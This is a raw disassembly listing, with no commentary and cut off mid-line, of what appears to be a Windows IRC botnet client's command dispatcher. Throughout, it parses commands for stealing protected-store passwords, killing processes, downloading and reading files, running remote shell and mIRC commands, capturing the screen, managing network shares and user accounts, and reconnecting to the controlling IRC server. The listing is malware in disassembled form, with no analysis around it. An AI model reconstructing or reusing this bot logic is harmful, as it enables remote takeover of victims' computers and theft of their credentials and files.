loc_403DED mov [ebp+var_314], 1 loc_403DED: ; CODE XREF: sub_401C87+2149j ; sub_401C87+215Aj lea eax, [ebp+var_2C8] push offset dword_43883C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 27h push eax call sub_409663 add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_39C] push ebx push eax push offset sub_413A33 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_318] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_403E6D call dword_4E0350 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C8] push offset unk_438858 push eax call sub_417CB0 add esp, 0Ch jmp loc_40609C ; --------------------------------------------------------------------------- loc_403E65: ; CODE XREF: sub_401C87+21ECj push 32h call dword_4E033C ; Sleep loc_403E6D: ; CODE XREF: sub_401C87+21BCj cmp [ebp+var_308], ebx jz short loc_403E65 jmp loc_40609C ; --------------------------------------------------------------------------- loc_403E7A: ; CODE XREF: sub_401C87+1489j ; sub_401C87+149Ej cmp [ebp+var_8], ebx jnz short loc_403E99 push ebx push [ebp+var_4] push offset dword_438894 push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_403E99: ; CODE XREF: sub_401C87+21F6j push [ebp+arg_4] call dword_4D6700 ; closesocket call dword_4D65C0 ; WSACleanup call sub_411DDE push ebx call dword_4E0328 ; ExitProcess loc_403EB4: ; CODE XREF: sub_401C87+145Fj ; sub_401C87+1474j push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push eax call sub_4147AC pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push offset dword_4388B0 jmp short loc_403F0C ; --------------------------------------------------------------------------- loc_403EDF: ; CODE XREF: sub_401C87+1435j ; sub_401C87+144Aj push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_414A60 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push offset dword_4388CC loc_403F0C: ; CODE XREF: sub_401C87+1FA6j ; sub_401C87+2256j call sub_40F927 loc_403F11: ; CODE XREF: sub_401C87+54A4j add esp, 18h jmp loc_40743C ; --------------------------------------------------------------------------- loc_403F19: ; CODE XREF: sub_401C87+140Bj ; sub_401C87+1420j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40FA64 jmp loc_402037 ; --------------------------------------------------------------------------- loc_403F32: ; CODE XREF: sub_401C87+13E1j ; sub_401C87+13F6j cmp [ebp+var_C], ebx mov [ebp+var_A5C], bl jz short loc_403F71 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_403F71 push esi push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz short loc_403F71 push eax push offset dword_4388E8 lea eax, [ebp+var_A5C] push 80h push eax call sub_417E80 add esp, 10h loc_403F71: ; CODE XREF: sub_401C87+22B4j ; sub_401C87+22BFj ... push [ebp+var_8C] lea eax, [ebp+var_ADC] push 80h push eax call sub_417E80 mov eax, [ebp+arg_4] push offset dword_4388EC mov [ebp+var_AE0], eax mov eax, [ebp+var_4] mov [ebp+var_9D8], eax mov eax, [ebp+var_8] mov [ebp+var_9D4], eax lea eax, [ebp+var_2C8] push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 25h push eax call sub_409663 add esp, 20h mov [ebp+var_9DC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_AE0] push ebx push eax push offset sub_40FAD7 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_9DC] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_404014 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_438904 jmp loc_402213 ; --------------------------------------------------------------------------- loc_40400C: ; CODE XREF: sub_401C87+2393j push 32h call dword_4E033C ; Sleep loc_404014: ; CODE XREF: sub_401C87+2372j cmp [ebp+var_9D0], ebx jz short loc_40400C jmp loc_40622C ; --------------------------------------------------------------------------- loc_404021: ; CODE XREF: sub_401C87+13B7j ; sub_401C87+13CCj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40F8AF push offset dword_43893C call sub_40F927 loc_40403C: ; CODE XREF: sub_401C87+1F0Aj add esp, 10h jmp loc_40743C ; --------------------------------------------------------------------------- loc_404044: ; CODE XREF: sub_401C87+138Dj ; sub_401C87+13A2j push [ebp+var_8C] lea eax, [ebp+var_430] push 80h push eax call sub_417E80 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_434], eax mov eax, [ebp+var_4] mov [ebp+var_3A8], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_3A4], eax jz short loc_40409E push offset dword_438954 push esi call sub_418A30 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_3AC], eax jmp short loc_4040A4 ; --------------------------------------------------------------------------- loc_40409E: ; CODE XREF: sub_401C87+23FBj mov [ebp+var_3AC], ebx loc_4040A4: ; CODE XREF: sub_401C87+2415j lea eax, [ebp+var_2C8] push offset dword_438958 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 28h push eax call sub_409663 add esp, 14h mov [ebp+var_3B0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_434] push ebx push eax push offset sub_4096CE push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_3B0] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_404115 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_438978 jmp loc_4052CC ; --------------------------------------------------------------------------- loc_40410D: ; CODE XREF: sub_401C87+2494j push 32h call dword_4E033C ; Sleep loc_404115: ; CODE XREF: sub_401C87+2473j cmp [ebp+var_3A0], ebx jz short loc_40410D jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_404122: ; CODE XREF: sub_401C87+1311j ; sub_401C87+1326j push offset aJav0 ; "Jav0" lea eax, [ebp+var_2C8] push offset dword_4389B4 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 20h jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_404159: ; CODE XREF: sub_401C87+12E7j ; sub_401C87+12FCj push dword_4D63A4 call sub_414606 push eax lea eax, [ebp+var_2C8] push offset unk_4389CC push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 24h jmp loc_405EC1 ; --------------------------------------------------------------------------- loc_404197: ; CODE XREF: sub_401C87+12BDj ; sub_401C87+12D2j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4041C9 cmp [ebp+var_C], ebx jz short loc_4041D8 push esi push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz short loc_4041D8 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_407604 add esp, 0Ch jmp short loc_4041D8 ; --------------------------------------------------------------------------- loc_4041C9: ; CODE XREF: sub_401C87+2519j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_407604 pop ecx pop ecx loc_4041D8: ; CODE XREF: sub_401C87+251Ej ; sub_401C87+252Dj ... push 0FFFFFFFEh pop eax jmp loc_4075FF ; --------------------------------------------------------------------------- loc_4041E0: ; CODE XREF: sub_401C87+1293j ; sub_401C87+12A8j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_407604 push offset dword_438A2C call sub_40F927 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_4075FF ; --------------------------------------------------------------------------- loc_404202: ; CODE XREF: sub_401C87+1269j ; sub_401C87+127Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_407604 push offset dword_438A60 call sub_40F927 add esp, 0Ch jmp loc_405845 ; --------------------------------------------------------------------------- loc_404221: ; CODE XREF: sub_401C87+123Fj ; sub_401C87+1254j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409D2C jmp short loc_40426B ; --------------------------------------------------------------------------- loc_404234: ; CODE XREF: sub_401C87+1215j ; sub_401C87+122Aj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409CD8 jmp short loc_40426B ; --------------------------------------------------------------------------- loc_404247: ; CODE XREF: sub_401C87+11EBj ; sub_401C87+1200j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409C6D jmp short loc_40426B ; --------------------------------------------------------------------------- loc_40425A: ; CODE XREF: sub_401C87+11C1j ; sub_401C87+11D6j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409B9F loc_40426B: ; CODE XREF: sub_401C87+25ABj ; sub_401C87+25BEj ... add esp, 0Ch jmp loc_40743C ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_401C87+111Cj ; sub_401C87+1131j push [ebp+esi+var_90] push 27h push offset dword_438A7C push offset dword_438A8C jmp loc_402C5E ; --------------------------------------------------------------------------- loc_40428B: ; CODE XREF: sub_401C87+10F2j ; sub_401C87+1107j push [ebp+esi+var_90] push 24h push offset dword_438A9C push offset dword_438AA8 jmp loc_402C5E ; --------------------------------------------------------------------------- loc_4042A3: ; CODE XREF: sub_401C87+F98j ; sub_401C87+FADj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4042C3 push esi call sub_417960 test ax, ax pop ecx jz short loc_4042C3 push esi call sub_417960 pop ecx jmp short loc_4042C9 ; --------------------------------------------------------------------------- loc_4042C3: ; CODE XREF: sub_401C87+2625j ; sub_401C87+2631j mov ax, word_437088 loc_4042C9: ; CODE XREF: sub_401C87+263Aj push [ebp+var_8C] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_3B8], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_3A8], eax lea eax, [ebp+var_438] push eax mov [ebp+var_43C], esi mov [ebp+var_3AC], edi call sub_417E80 movzx eax, [ebp+var_3B8] add esp, 0Ch push eax push esi call sub_408882 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_438AB8 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push edi push eax push [ebp+var_8C] push esi call sub_40764A push ebx lea eax, [ebp+var_2C8] push 6 push eax call sub_409663 add esp, 30h mov [ebp+var_3B4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_43C] push ebx push eax push offset sub_40CC69 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_3B4] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_40439B call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_438AE4 jmp loc_402213 ; --------------------------------------------------------------------------- loc_404393: ; CODE XREF: sub_401C87+271Aj push 32h call dword_4E033C ; Sleep loc_40439B: ; CODE XREF: sub_401C87+26F9j cmp [ebp+var_3A4], ebx jz short loc_404393 jmp loc_40622C ; --------------------------------------------------------------------------- loc_4043A8: ; CODE XREF: sub_401C87+F44j ; sub_401C87+F59j ... push edi push offset aSecure_0 ; "secure" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_4043D0 push edi push offset aSec_0 ; "sec" call sub_418A30 pop ecx mov [ebp+var_314], ebx test eax, eax pop ecx jnz short loc_4043DA loc_4043D0: ; CODE XREF: sub_401C87+2730j mov [ebp+var_314], 1 loc_4043DA: ; CODE XREF: sub_401C87+2747j push [ebp+var_8C] lea eax, [ebp+var_398] push 80h push eax call sub_417E80 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_314], ebx mov [ebp+var_39C], eax mov eax, [ebp+var_4] mov [ebp+var_310], eax mov eax, [ebp+var_8] mov [ebp+var_30C], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404421 mov eax, offset aUnsecuring ; "Unsecuring" loc_404421: ; CODE XREF: sub_401C87+2793j push eax push offset dword_438B48 lea eax, [ebp+var_2C8] push 200h push eax call sub_417E80 push ebx lea eax, [ebp+var_2C8] push 22h push eax call sub_409663 add esp, 1Ch mov [ebp+var_318], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_39C] push ebx push eax push offset sub_413F64 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_318] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_404498 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset dword_438B64 jmp loc_406DB6 ; --------------------------------------------------------------------------- loc_404490: ; CODE XREF: sub_401C87+2817j push 32h call dword_4E033C ; Sleep loc_404498: ; CODE XREF: sub_401C87+27F6j cmp [ebp+var_308], ebx jz short loc_404490 jmp loc_40259F ; --------------------------------------------------------------------------- loc_4044A5: ; CODE XREF: sub_401C87+F1Aj ; sub_401C87+F2Fj push offset unk_438BA0 jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_4044AF: ; CODE XREF: sub_401C87+EF0j ; sub_401C87+F05j push offset aModdd ; "Moddd" push offset dword_438C50 jmp loc_405E91 ; --------------------------------------------------------------------------- loc_4044BE: ; CODE XREF: sub_401C87+EC6j ; sub_401C87+EDBj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_40451A push esi call sub_417960 cmp eax, ebx pop ecx jl short loc_40450F cmp eax, 3 jge short loc_40450F mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_404504 lea eax, [esi+1] push eax lea eax, [ebp+var_2C8] push offset unk_438C60 push eax call sub_417CB0 mov [esi], bl jmp loc_40652C ; --------------------------------------------------------------------------- loc_404504: ; CODE XREF: sub_401C87+285Fj push eax push offset unk_438C80 jmp loc_406520 ; --------------------------------------------------------------------------- loc_40450F: ; CODE XREF: sub_401C87+284Bj ; sub_401C87+2850j push eax push offset unk_438CAC jmp loc_406520 ; --------------------------------------------------------------------------- loc_40451A: ; CODE XREF: sub_401C87+2840j mov edi, [ebp+arg_18] xor esi, esi loc_40451F: ; CODE XREF: sub_401C87+28B4j push [ebp+var_94] push edi call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_404542 inc esi add edi, 80h cmp esi, 3 jl short loc_40451F jmp loc_40652F ; --------------------------------------------------------------------------- loc_404542: ; CODE XREF: sub_401C87+28A8j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset unk_438CD8 jmp loc_406520 ; --------------------------------------------------------------------------- loc_40455C: ; CODE XREF: sub_401C87+E9Cj ; sub_401C87+EB1j push [ebp+var_90] push offset a332_1 ; "332" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4032EB call sub_409826 push ebx call dword_4E0328 ; ExitProcess loc_404582: ; CODE XREF: sub_401C87+2909j push 32h call dword_4E033C ; Sleep loc_40458A: ; CODE XREF: sub_401C87+174Aj cmp [ebp+var_12E8], ebx jz short loc_404582 jmp loc_40652F ; --------------------------------------------------------------------------- loc_404597: ; CODE XREF: sub_401C87+1744j call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_438CFC jmp loc_406520 ; --------------------------------------------------------------------------- loc_4045A8: ; CODE XREF: sub_401C87+1685j push edi push offset aPstore ; "pstore" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40588C push edi push offset aPs_0 ; "ps" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40588C push edi push offset aReconnect_in ; "reconnect.in" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40584C push edi push offset aRin ; "rin" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40584C push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405806 push edi push offset aRinms ; "rinms" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405806 push edi push offset aNick_0 ; "nick" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057E1 push edi push offset aN ; "n" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057E1 push edi push offset aJoin ; "join" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057BD push edi push offset aJ ; "j" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057BD push edi push offset aPart_1 ; "part" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057A3 push edi push offset aPt ; "pt" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4057A3 push edi push offset aRaw ; "raw" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40576D push edi push offset aR_0 ; "r" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40576D push edi push offset aKillthread ; "killthread" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4056AD push edi push offset aK ; "k" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4056AD push edi push offset aC_quit ; "c_quit" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4055FF push edi push offset aC_q ; "c_q" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4055FF push edi push offset aC_rndnick ; "c_rndnick" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4055A4 push edi push offset aC_rn ; "c_rn" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4055A4 push edi push offset aPrefix ; "prefix" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40558B push edi push offset aPr ; "pr" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40558B push edi push offset aOpen ; "open" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405557 push edi push offset aO ; "o" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405557 push edi push offset aServer_0 ; "server" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40552E push edi push offset aSe ; "se" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40552E push edi push offset aDns ; "dns" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4054C3 push edi push offset aDn ; "dn" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4054C3 push edi push offset aKillproc ; "killproc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40548D push edi push offset aKp ; "kp" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40548D push edi push offset aKill ; "kill" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40542E push edi push offset aKi ; "ki" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40542E push edi push offset aDelete ; "delete" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4053F6 push edi push offset aDel ; "del" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4053F6 push edi push offset aGet ; "get" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405314 push edi push offset aGt ; "gt" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405314 push edi push offset aList ; "list" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4052F5 push edi push offset aLi ; "li" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4052F5 push edi push offset aVisit ; "visit" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405205 push edi push offset aV ; "v" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405205 push edi push offset aMirccmd ; "mirccmd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40518F push edi push offset aMirc ; "mirc" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40518F push edi push offset aCmd ; "cmd" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405139 push edi push offset aCm ; "cm" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_405139 push edi push offset aReadfile ; "readfile" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4050AE push edi push offset aRf ; "rf" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_4050AE push edi push offset aIdent ; "ident" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_404A43 push [ebp+arg_10] push offset aOn ; "on" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404A09 push 2 call sub_4098A5 test eax, eax pop ecx lea eax, [ebp+var_2C8] jle short loc_4049B2 push offset dword_438E68 jmp loc_40389A ; --------------------------------------------------------------------------- loc_4049B2: ; CODE XREF: sub_401C87+2D1Fj push offset dword_438E88 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 2 push eax call sub_409663 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_40E91A push ebx push ebx call dword_4E0340 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4495B4[esi], eax jnz loc_40652F call dword_4E0350 ; RtlGetLastWin32Error push eax push offset dword_438EB4 jmp loc_406520 ; --------------------------------------------------------------------------- loc_404A09: ; CODE XREF: sub_401C87+2D0Dj push [ebp+arg_10] push offset aOff ; "off" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40652F push ebx push 2 call sub_409858 pop ecx cmp eax, ebx pop ecx jle short loc_404A39 push eax push offset dword_438EEC jmp loc_406520 ; --------------------------------------------------------------------------- loc_404A39: ; CODE XREF: sub_401C87+2DA5j push offset dword_438F24 jmp loc_403894 ; --------------------------------------------------------------------------- loc_404A43: ; CODE XREF: sub_401C87+2CF6j push edi push offset aNet ; "net" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_404D36 cmp dword_4D6734, ebx jz short loc_404A72 cmp dword_4D675C, ebx jz short loc_404A72 push offset unk_438F48 jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_404A72: ; CODE XREF: sub_401C87+2DD7j ; sub_401C87+2DDFj cmp [ebp+var_C], ebx jz loc_405EA0 mov edi, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_404A97 push edi push [ebp+var_C] call sub_417E00 pop ecx mov [ebp+arg_0], eax pop ecx loc_404A97: ; CODE XREF: sub_401C87+2E00j push [ebp+arg_10] push offset aStart ; "start" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404B04 cmp edi, ebx jz short loc_404AD2 push [ebp+arg_0] push 3 call sub_412280 push eax push offset aS_1 ; "%s" loc_404ABE: ; CODE XREF: sub_401C87+2EA0j ; sub_401C87+2EC5j ... lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 14h jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_404AD2: ; CODE XREF: sub_401C87+2E25j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_412527 add esp, 0Ch test eax, eax lea eax, [ebp+var_2C8] jz short loc_404AFA push offset unk_438F8C jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404AFA: ; CODE XREF: sub_401C87+2E67j push offset unk_438FB0 jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404B04: ; CODE XREF: sub_401C87+2E21j push [ebp+arg_10] push offset aStop ; "stop" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404B29 push [ebp+arg_0] push 4 call sub_412280 push eax push offset aS_2 ; "%s" jmp short loc_404ABE ; --------------------------------------------------------------------------- loc_404B29: ; CODE XREF: sub_401C87+2E8Ej push [ebp+arg_10] push offset aPause ; "pause" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404B51 push [ebp+arg_0] push 5 call sub_412280 push eax push offset aS_3 ; "%s" jmp loc_404ABE ; --------------------------------------------------------------------------- loc_404B51: ; CODE XREF: sub_401C87+2EB3j push [ebp+arg_10] push offset aContinue ; "continue" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404B79 push [ebp+arg_0] push 6 call sub_412280 push eax push offset aS_4 ; "%s" jmp loc_404ABE ; --------------------------------------------------------------------------- loc_404B79: ; CODE XREF: sub_401C87+2EDBj push [ebp+arg_10] push offset aDelete_0 ; "delete" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404BA1 push [ebp+arg_0] push 1 call sub_412280 push eax push offset aS_5 ; "%s" jmp loc_404ABE ; --------------------------------------------------------------------------- loc_404BA1: ; CODE XREF: sub_401C87+2F03j push [ebp+arg_10] push offset aShare ; "share" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404C2C cmp edi, ebx jz short loc_404BF9 cmp [ebp+var_968], bl jz short loc_404BD1 push ebx push edi push 1 call sub_412667 push eax push offset aS_6 ; "%s" jmp short loc_404BE5 ; --------------------------------------------------------------------------- loc_404BD1: ; CODE XREF: sub_401C87+2F37j push [ebp+esi+var_88] push edi push ebx call sub_412667 push eax push offset aS_7 ; "%s" loc_404BE5: ; CODE XREF: sub_401C87+2F48j lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 18h jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_404BF9: ; CODE XREF: sub_401C87+2F2Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41285C add esp, 10h test eax, eax lea eax, [ebp+var_2C8] jz short loc_404C22 push offset unk_439014 jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404C22: ; CODE XREF: sub_401C87+2F8Fj push offset unk_439038 jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404C2C: ; CODE XREF: sub_401C87+2F2Bj push [ebp+arg_10] push offset aUser_0 ; "user" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_404CDD cmp edi, ebx jz short loc_404CAA push [ebp+var_4] cmp [ebp+var_968], bl push [ebp+var_8C] push [ebp+arg_4] jz short loc_404C6C push ebx push edi push 1 call sub_41297D push eax push offset aS_8 ; "%s" jmp short loc_404C96 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_401C87+2FD2j mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_404C87 push esi push edi push ebx call sub_41297D push eax push offset aS_9 ; "%s" jmp short loc_404C96 ; --------------------------------------------------------------------------- loc_404C87: ; CODE XREF: sub_401C87+2FEEj push ebx push edi push 2 call sub_41297D push eax push offset aS_10 ; "%s" loc_404C96: ; CODE XREF: sub_401C87+2FE3j ; sub_401C87+2FFEj lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 24h jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_404CAA: ; CODE XREF: sub_401C87+2FBEj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_412E91 add esp, 10h test eax, eax lea eax, [ebp+var_2C8] jz short loc_404CD3 push offset unk_43906C jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404CD3: ; CODE XREF: sub_401C87+3040j push offset unk_43908C jmp loc_406FFC ; --------------------------------------------------------------------------- loc_404CDD: ; CODE XREF: sub_401C87+2FB6j push [ebp+arg_10] push offset aSend ; "send" call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404D2C cmp edi, ebx jz short loc_404D22 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_41313B push eax lea eax, [ebp+var_2C8] push offset aS_11 ; "%s" push eax call sub_417CB0 add esp, 1Ch jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_404D22: ; CODE XREF: sub_401C87+306Bj push offset unk_4390B8 jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_404D2C: ; CODE XREF: sub_401C87+3067j push offset unk_4390DC jmp loc_406FF6 ; --------------------------------------------------------------------------- loc_404D36: ; CODE XREF: sub_401C87+2DCBj push edi push offset aCapture ; "capture" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404E6A push edi push offset aCap ; "cap" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_404E6A push edi push offset aGethost ; "gethost" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_404D86 push edi push offset aGh ; "gh" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_405904 loc_404D86: ; CODE XREF: sub_401C87+30E8j push [ebp+arg_10] push [ebp+arg_1C] call sub_417E00 pop ecx test eax, eax pop ecx jz loc_40743C mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404E21 push esi push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2C8] jz short loc_404E0F push esi push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset aSSSS ; "%s %s %s :%s" push eax call sub_417CB0 lea eax, [ebp+var_2C8] push 1FFh push eax push [ebp+arg_0] call sub_417760 push esi lea eax, [ebp+var_2C8] push [ebp+arg_10] push offset unk_439120 push eax call sub_417CB0 add esp, 34h inc [ebp+arg_24] jmp loc_4051F3 ; --------------------------------------------------------------------------- loc_404E0F: ; CODE XREF: sub_401C87+3134j push offset unk_439148 push eax call sub_417CB0 pop ecx pop ecx jmp loc_4051F3 ; --------------------------------------------------------------------------- loc_404E21: ; CODE XREF: sub_401C87+311Dj push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_414A60 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset dword_439178 push 200h push eax call sub_417E80 add esp, 24h jmp loc_4051F3 ; --------------------------------------------------------------------------- loc_404E6A: ; CODE XREF: sub_401C87+30BEj ; sub_401C87+30D3j push offset aScreen ; "screen" push [ebp+arg_10] call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_404EC5 mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_404EB2 push edi call sub_40FC06 cmp eax, 1 pop ecx lea eax, [ebp+var_2C8] jnz short loc_404EAB push edi push offset unk_43919C push eax call sub_417CB0 add esp, 0Ch jmp short loc_404EC5 ; --------------------------------------------------------------------------- loc_404EAB: ; CODE XREF: sub_401C87+3211j push offset unk_4391C8 jmp short loc_404EBD ; --------------------------------------------------------------------------- loc_404EB2: ; CODE XREF: 